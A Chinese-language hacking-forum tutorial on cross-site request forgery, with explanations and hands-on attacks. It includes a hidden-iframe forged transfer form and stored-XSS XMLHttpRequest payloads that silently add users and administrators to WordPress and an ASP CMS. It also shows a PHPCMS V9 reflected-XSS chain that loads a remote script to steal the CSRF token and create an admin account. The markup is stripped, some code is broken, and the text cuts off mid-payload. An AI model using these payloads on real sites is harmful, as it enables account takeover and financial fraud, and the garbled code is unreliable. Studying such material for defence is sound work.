taibeihacker
Moderator
0x01 CSRF定义
CSRF(Cross-site request forgery),中文名稱:跨站請求偽造,也被稱為:one click attack/session riding,縮寫為:CSRF/XSRF。儘管聽起來像跨站腳本XSS,但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性0x02 CSRF危害
攻擊者盜用了你的身份,以你的名義發送惡意請求。 CSRF能夠做的事情包括:以你名義發送郵件,發消息,盜取你的賬號,甚至於購買商品,虛擬貨幣轉賬.造成的問題包括:個人隱私洩露以及財產安全。0x03 CSRF漏洞形成原因
csrf漏洞的成因就是網站的cookie在瀏覽器中不會過期,只要不關閉瀏覽器或者退出登錄,那以後只要是訪問這個網站,都會默認你已經登錄的狀態。而在這個期間,攻擊者發送了構造好的csrf腳本或包含csrf腳本的鏈接,可能會執行一些用戶不想做的功能(比如是添加賬號等)。這個操作不是用戶真正想要執行的。0x04
CSRF與XSS的區別XSS:
攻擊者發現XSS漏洞——構造代碼——發送給受害人——受害人打開——攻擊者獲取受害人的cookie——完成攻擊
CSRF:
攻擊者發現CSRF漏洞——構造代碼——發送給受害人——受害人打開——受害人執行代碼——完成攻擊
0x05
CSRF的原理下圖簡單闡述了CSRF攻擊的思路:

從上圖可以看出,要完成一次CSRF攻擊,受害者必須依次完成兩個步驟:
1.登錄受信任網站A,並在本地生成Cookie。
2.在不登出A的情況下,訪問危險網站B。
如果不滿足以上兩個條件中的一個,就不會受到CSRF的攻擊,是的,確實如此,但你不能保證以下情況不會發生:
1.你不能保證你登錄了一個網站後,不再打開一個tab頁面並訪問另外的網站。
2.你不能保證你關閉瀏覽器了後,你本地的Cookie立刻過期,你上次的會話已經結束。 (事實上,關閉瀏覽器不能結束一個會話,但大多數人都會錯誤的認為關閉瀏覽器就等於退出登錄/結束會話了.)
3.上圖中所謂的攻擊網站,可能是一個存在其他漏洞的可信任的經常被人訪問的網站。
0x06
CSRF攻擊示例
(1).get型的CSRF
銀行網站A,它以GET請求來完成銀行轉賬的操作,如:http://www.mybank.com/Transfer.php?toBankId=11money=1000那麼將該URL鏈接進行短文件處理髮給對方,只要發給受害者點擊,就會觸發
(2).post型的CSRF
為了杜絕上面的問題,銀行決定改用POST請求完成轉賬操作。銀行網站A的WEB表單如下:
formaction='Transfer.php'method='POST'
pToBankId:inputtype='text'name='toBankId'//p
pMoney:inputtype='text'name='money'//p
pinputtype='submit'value='Transfer'//p
/form
後台處理頁面Transfer.php如下:
?php
session_start();
if(isset($_REQUEST['toBankId'] isset($_REQUEST['money']))
{
buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);
}
?
通過偽造上面的表單,並保存為bk.html,將該bk.html放到http://www.backlion.org/bk.html下,只要點擊該網址就會觸發轉賬
(3)json型的csrf經過前面2個慘痛的教訓,銀行決定把獲取請求數據的方法也改了,改用$_POST,只獲取POST請求的數據,後台處理頁面Transfer.php代碼如下:
?php
session_start();
if(isset($_POST['toBankId'] isset($_POST['money']))
{
buy_stocks($_POST['toBankId'], $_POST['money']);
}
?
然而同時可以更改偽造表單:
html
head
scripttype='text/javascript'
functionsteal()
{
iframe=document.frames['steal'];
iframe.document.Submit('transfer');
}
/script
/head
bodyonload='steal()'
iframename='steal'display='none'
formmethod='POST'name='transfer' action='http://www.mybank.com/Transfer.php'
inputtype='hidden'name='toBankId'value='11'
inputtype='hidden'name='money'value='1000'
/form
/iframe
/body
/html
總結一下上面3個例子,CSRF主要的攻擊模式基本上是以上的3種,其中以第1,2種最為嚴重,因為觸發條件很簡單,一個url連接就可以了,而第3種比較麻煩,需要使用JavaScript,所以使用的機會會比前面的少很多,但無論是哪種情況,只要觸發了CSRF攻擊,後果都有可能很嚴重。
理解上面的3種攻擊模式,其實可以看出,CSRF攻擊是源於WEB的隱式身份驗證機制! WEB的身份驗證機制雖然可以保證一個請求是來自於某個用戶的瀏覽器,但卻無法保證該請求是用戶批准發送的!
0x07
CSRF實戰實例
(1).post的CSRF的实战实例
首先找到一個目標站點,csrf存在的危害主要存在於可以執行操作的地方,那麼我在我搭建的一個環境中的登錄後頁面進行測試環境就是一個wordpress的環境,大家可以直接去官網下載

我們選擇用戶界面進行測試,可以看到現在只有一個用戶

下面我添加用戶

利用burp進行截斷

利用burp的自帶插件來利用csrf

會生成一個可以利用csrf.html
修改標註內的值,來保證添加的用戶不會重複造成無法添加

在瀏覽器中嘗試

執行按鍵,發現除了本來存在的第一個用戶和我們通過正常手段加入的用戶雙增加了一個新的test1用戶,這個用戶就是我們利用csrf點擊圖片中的submit來執行的操作,因為是我們的測試沒有對頁面進行修改和直接觸發,如果是攻擊者利用JS來讓用戶進行直接的觸發,只要打開了相應的頁面就會執行這一行為。


(2).CSRF+xss的组合利用
利用html很不容易讓人利用,漏洞觸發複雜,那我們就想辦法讓這個觸發方式變的簡單起來。利用xss漏洞來觸發csrf漏洞,完成用戶添加的操作。
我們首先要先了解發送的數據包內容

打開上面講到的xss平台,創建一個csrf的項目,我們來編寫一下我們的代碼吧
span data-wiz-span='data-wiz-span' style='font-style:
normal; font-size: 0.875rem; font-family: 微軟雅黑; color: rgb(51, 51, 51); background-color: rgb(255, 255,
255);'var xmlhttp;
if(window.XMLHttpRequest){
xmlhttp=new
XMLHttpRequest();
}else{
xmlhttp=new
ActiveXObject('Microsoft.XMLHTTP');
}
xmlhttp.open('POST','http://www.backlion.org/wordpress/wp-admin/user-new.php',true);
xmlhttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');
xmlhttp.send('action=createuser_wponce..');
//這裡填寫post數據,這裡需要修改用戶名和密碼/span
把這段代碼粘到項目的代碼配置中去

然後把我們的可利用代碼通過留言的存儲型XSS漏洞存入到我們的目標站點中去

留言成功後的效果如下


當管理員查看留言時就執行了我們的危險代碼並發送了添加用戶的請求

在查看用戶列表成功的加入了test2用戶

到這裡,csrf的攻擊實例可以說講的差不多了,以後就要大家自己去挖掘了。
(3).利用ajax结合xss进行CSRF攻击
就是把CSRF的AJAX請求放到XSS裡,以達到攻擊的效果在測試用的這套CMS的留言板處就存在存儲型XSS漏洞
在這裡我們可以使用CSRFTester生成一個ajax

我們可以看到ajax中核心部分

同時也可以自己編寫一個簡單的ajax
span data-wiz-span='data-wiz-span' style='font-style:
normal; font-size: 0.875rem; font-family: 微軟雅黑; color: rgb(51, 51, 51); background-color: rgb(255, 255,
255);'var xmlhttp;
if(window.XMLHttpRequest){
xmlhttp=new
XMLHttpRequest();
}else{
xmlhttp=new
ActiveXObject('Microsoft.XMLHTTP');
}
xmlhttp.open('POST','http://192.168.109:99/admin/admin_manage.asp?act=add',true);
xmlhttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');
xmlhttp.send('admin=789password=789password3=789button=提交數據');/span
在xss平台上配置項目

然後插入測試網站的留言板裡

管理員查看留言信息就能添加一個管理員賬號了


(4).phpcmsV9从反射型XSS到CSRF添加管理员账户
PHPCMS V9是一款PHP開源的內容管理系統,採用PHP5+MYSQL做為技術基礎進行開發。當前有很多的行業門戶、地方門戶、政府機構等都在使用該CMS或者是進行二次開發。
pc_hash這個值是後台用來進行csrf防禦的token。如果在前台能能夠挖掘出一個XSS漏洞,那麼就能夠很容易獲取到pc_hash(csrf token),那麼就能觸發CSRF漏洞。
尋找反射型XSS
在\phpcms\modules\admin\plugin.php文件public_appcenter_ajx_detail函數中(位於411行)。
/**
*
異步方式調用詳情
*
Enter description here .
*/
public
function public_appcenter_ajx_detail() {
$id=intval($_GET['id']);
$data=file_get_contents('http://open.phpcms.cn/index.php?m=openc=apia=get_detail_byappidid='.$id);
//$data=json_decode($data, true);
echo $_GET['jsoncallback'].'(',$data,')';
exit;
}
$_GET['jsoncallback']未經過濾直接輸出到頁面,這是一個反射型XSS漏洞。
/index.php?m=adminc=plugina=public_appcenter_ajx_detailjsoncallback=script
src=http://www.xsser.com/xss.js/script
利用反射型XSS獲取pc_hash值

有了pc_hash以及xss漏洞,只要用戶點擊了攻擊者精心構造的按鈕,攻擊者就可以發動攻擊了。
構建添加管理員權限用戶需要首先獲取admin_manage_code。


利用xss platform發動CSRF攻擊
var request=false;
if (window.XMLHttpRequest) {
request
=new XMLHttpRequest();
if
(request.overrideMimeType) {
request.overrideMimeType('text/xml')
}
} else if (window.ActiveXObject) {
var
versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0',
'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0',
'MSXML2.XMLHTTP'];
for
(var i=0; i versions.length; i++) {
try {
request
=new ActiveXObject(versions)
} catch (e) {}